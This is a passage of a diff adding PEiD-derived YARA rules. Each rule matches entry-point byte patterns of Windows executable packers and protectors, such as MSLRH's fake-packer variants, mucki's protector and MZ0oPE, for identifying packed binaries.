+        $a = {E9 A6 00 00 00 B0 7B 40 00 78 60 40 00 7C 60 40 00 00 00 00 00 B0 3F 00 00 12 62 40 00 4E 65 6F 4C 69 74 65 20 45 78 65 63 75 74 61 62 6C 65 20 46 69 6C 65 20 43 6F 6D 70 72 65 73 73 6F 72 0D 0A 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 38 2C 31 39 39 39 20 4E 65 6F 57 6F 72 78 20 49 6E 63 0D 0A 50 6F 72 74 69 6F 6E 73 20 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39 39 37 2D 31 39 39 39 20 4C 65 65 20 48 61 73 69 75 6B 0D 0A 41 6C 6C 20 52 69 67 68 74 73 20 52 65 73 65 72 76 65 64 2E 00 00 00 00 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01226_MSLRH_v0_32a__fake_nSPack_1_3_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake nSPack 1.3) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00 2B E8 8D B5 D3 FE FF FF 8B 06 83 F8 00 74 11 8D B5 DF FE FF FF 8B 06 83 F8 01 0F 84 F1 01 00 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01227_MSLRH_v0_32a__fake_PC_Guard_4_xx_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PC-Guard 4.xx) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {FC 55 50 E8 00 00 00 00 5D EB 01 E3 60 E8 03 00 00 00 D2 EB 0B 58 EB 01 48 40 EB 01 35 FF E0 E7 61 58 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01228_MSLRH_v0_32a__fake_PE_Crypt_1_02_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PE Crypt 1.02) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7 05 50 E8 08 00 00 00 EA FF 58 EB 18 EB 01 0F EB 02 CD 20 EB 03 EA CD 20 58 58 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+rule PEiD_01229_MSLRH_v0_32a__fake_PE_Lock_NT_2_04_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PE Lock NT 2.04) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 EB EB 03 CD 20 03 61 9D 83 C4 04 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01230_MSLRH_v0_32a__fake_PEBundle_0_2___3_x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PEBundle 0.2 - 3.x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01231_MSLRH_v0_32a__fake_PEBundle_2_0x___2_4x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PEBundle 2.0x - 2.4x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 30 40 00 87 DD 83 BD 9C 38 40 00 01 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01232_MSLRH_v0_32a__fake_PECompact_1_4x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PECompact 1.4x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {EB 06 68 2E A8 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 3F 90 40 00 61 9D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01233_MSLRH_v0_32a__fake_PESHiELD_0_25_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PESHiELD 0.25) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 2B 00 00 00 0D 0A 0D 0A 0D 0A 52 65 67 69 73 74 41 72 65 64 20 74 6F 3A 20 4E 4F 4E 2D 43 4F 4D 4D 45 52 43 49 41 4C 21 21 0D 0A 0D 0A 0D 00 58 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01234_MSLRH_v0_32a__fake_PEtite_2_1_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PEtite 2.1) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {B8 00 50 40 00 6A 00 68 BB 21 40 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 66 9C 60 50 83 C4 04 61 66 9D 64 8F 05 00 00 00 00 83 C4 08 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01235_MSLRH_v0_32a__fake_PEX_0_99_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake PEX 0.99) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 01 00 00 00 E8 83 C4 04 E8 01 00 00 00 E9 5D 81 ED FF 22 40 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01236_MSLRH_v0_32a__fake_SVKP_1_11_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake SVKP 1.11) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 64 A0 23 00 00 00 83 C5 06 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01}
+    condition:
+        $a
+}
+
+rule PEiD_01237_MSLRH_v0_32a__fake_UPX_0_89_6___1_02___1_05___1_24_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake UPX 0.89.6 - 1.02 / 1.05 - 1.24) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 BE 00 90 8B 00 8D BE 00 80 B4 FF 57 83 CD FF EB 3A 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73 0B 75 19 8B 1E 83 EE FC 11 DB 72 10 58 61 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01238_MSLRH_v0_32a__fake_WWPack32_1_x_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake WWPack32 1.x) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {53 55 8B E8 33 DB EB 60 0D 0A 0D 0A 57 57 50 61 63 6B 33 32 20 64 65 63 6F 6D 70 72 65 73 73 69 6F 6E 20 72 6F 75 74 69 6E 65 20 76 65 72 73 69 6F 6E 20 31 2E 31 32 0D 0A 28 63 29 20 31 39 39 38 20 50 69 6F 74 72 20 57 61 72 65 7A 61 6B 20 61 6E 64 20 52 61 66 61 6C 20 57 69 65 72 7A 62 69 63 6B 69 0D 0A 0D 0A 5D 5B 90 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01239_MSLRH_v0_32a__fake_yoda_s_cryptor_1_2_____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a (fake yoda's cryptor 1.2) -> emadicius (h)]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 00 00 00 00 5D 81 ED F3 1D 40 00 B9 7B 09 00 00 8D BD 3B 1E 40 00 8B F7 AC 90 2C 8A C0 C0 78 90 04 62 EB 01 00 61 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+    condition:
+        $a
+}
+
+rule PEiD_01240_MSLRH_v0_32a____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a -> emadicius (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8}
+    condition:
+        $a
+}
+
+rule PEiD_01241_MSLRH_v0_32a____emadicius__h__
+{
+    meta:
+        description = "[MSLRH v0.32a -> emadicius (h)]"
+        ep_only = "false"
+    strings:
+        $a = {E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF FF FF 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C}
+    condition:
+        $a
+}
+
+rule PEiD_01242_MSLRH_v0_32a____emadicius_
+{
+    meta:
+        description = "[MSLRH v0.32a -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03}
+    condition:
+        $a
+}
+
+rule PEiD_01243_MSLRH_v32a____emadicius_
+{
+    meta:
+        description = "[MSLRH v32a -> emadicius]"
+        ep_only = "false"
+    strings:
+        $a = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08}
+    condition:
+        $a
+}
+rule PEiD_01244_MSLRH_
+{
+    meta:
+        description = "[MSLRH]"
+        ep_only = "true"
+    strings:
+        $a = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08}
+    condition:
+        $a
+}
+
+rule PEiD_01245_MSLRH_
+{
+    meta:
+        description = "[MSLRH]"
+        ep_only = "false"
+    strings:
+        $a = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81}
+    condition:
+        $a
+}
+
+rule PEiD_01246_MSVC___DLL_v_8__typical_OEP_recognized___h__
+{
+    meta:
+        description = "[MSVC++ DLL v.8 (typical OEP recognized - h)]"
+        ep_only = "true"
+    strings:
+        $a = {8B FF 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 75 09 83 3D ?? ?? ?? ?? 00 EB 26 83 FE 01 74 05 83 FE 02 75 22 A1 ?? ?? ?? ?? 85 C0 74 09 57 56 53 FF D0 85 C0 74 0C 57 56 53 E8 ?? ?? ?? FF 85 C0 75 04 33 C0 EB 4E 57 56 53 E8 ?? ?? ?? FF 83 FE 01 89 45 0C 75 0C 85 C0 75 37 57 50 53 E8 ?? ?? ?? FF 85 F6 74 05 83 FE 03 75 26 57 56 53 E8 ?? ?? ?? FF 85 C0 75 03 21 45 0C 83 7D 0C 00 74 11 A1 ?? ?? ?? ?? 85 C0 74 08 57 56 53 FF D0 89 45 0C 8B 45 0C 5F 5E 5B 5D C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_01247_MSVC___v_8__procedure_1_recognized___h__
+{
+    meta:
+        description = "[MSVC++ v.8 (procedure 1 recognized - h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 10 A1 ?? ?? ?? ?? 83 65 F8 00 83 65 FC 00 53 57 BF 4E E6 40 BB 3B C7 BB 00 00 FF FF 74 0D 85 C3 74 09 F7 D0 A3 ?? ?? ?? ?? EB 60 56 8D 45 F8 50 FF 15 ?? ?? ?? ?? 8B 75 FC 33 75 F8 FF 15 ?? ?? ?? ?? 33 F0 FF 15 ?? ?? ?? ?? 33 F0 FF 15 ?? ?? ?? ?? 33 F0 8D 45 F0 50 FF 15 ?? ?? ?? ?? 8B 45 F4 33 45 F0 33 F0 3B F7 75 07 BE 4F E6 40 BB EB 0B 85 F3 75 07 8B C6 C1 E0 10 0B F0 89 35 ?? ?? ?? ?? F7 D6 89 35 ?? ?? ?? ?? 5E 5F 5B C9 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01248_mucki_s_protector____mucki_
+{
+    meta:
+        description = "[mucki's protector -> mucki]"
+        ep_only = "true"
+    strings:
+        $a = {BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 E9}
+    condition:
+        $a
+}
+
+rule PEiD_01249_mucki_s_protector_II____mucki_
+{
+    meta:
+        description = "[mucki's protector II -> mucki]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 6A 00 E8 85 C0 74 12 64 8B 3D 18 00 00 00 8B 7F 30 0F B6 47 02 85 C0 74 01 C3 C7 04 24 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2}
+    condition:
+        $a
+}
+
+rule PEiD_01250_mucki_s_protector_II____mucki_
+{
+    meta:
+        description = "[mucki's protector II -> mucki]"
+        ep_only = "true"
+    strings:
+        $a = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 00 00 00 31 C0 89 41 14 89 41 18 80 6A 00 E8 85 C0 74 12 64 8B 3D 18 00 00 00 8B 7F 30 0F B6 47 02 85 C0 74 01 C3 C7 04 24 ?? ?? ?? ?? BE ?? ?? ?? ?? B9 ?? ?? ?? ?? 8A 06 F6 D0 88 06 46 E2 F7 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01251_MZ0oPE_1_0_6b____TaskFall_
+{
+    meta:
+        description = "[MZ0oPE 1.0.6b -> TaskFall]"
+        ep_only = "true"
+    strings:
+        $a = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3}
+    condition:
+        $a
+}
+
+rule PEiD_01252_MZ0oPE_1_0_6b____TaskFall_
+{
+    meta:
+        description = "[MZ0oPE 1.0.6b -> TaskFall]"
+        ep_only = "true"
+    strings:
+        $a = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_01253_MZ0oPE_1_0_6b____TaskFall_
+{
+    meta:
+        description = "[MZ0oPE 1.0.6b -> TaskFall]"
+        ep_only = "true"
+    strings:
+        $a = {EB CA 89 03 83 C3 04 87 FE 32 C0 AE 75 FD 87 FE 80 3E FF 75 E2 46 5B 83 C3 04 53 8B 1B 80 3F FF 75 C9 8B E5 61 68 ?? ?? ?? ?? C3 FC B2 80 33 DB A4 B3 02 E8 6D 00 00 00 73 F6 33 C9 E8 64 00 00 00 73 1C 33 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 12 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 2B CB 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4C 13 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 8B C5 B3 01 56 8B F7 2B F0 F3 A4 5E EB 8E 02 D2 75 05 8A 16 46 12 D2 C3 33 C9 41 E8 EE FF FF FF 13 C9 E8 E7 FF FF FF 72 F2 C3}
+    condition:
+        $a
+}
+
+rule PEiD_01254_MZ_Crypt_1_0___by_BrainSt0rm_
+{
+    meta:
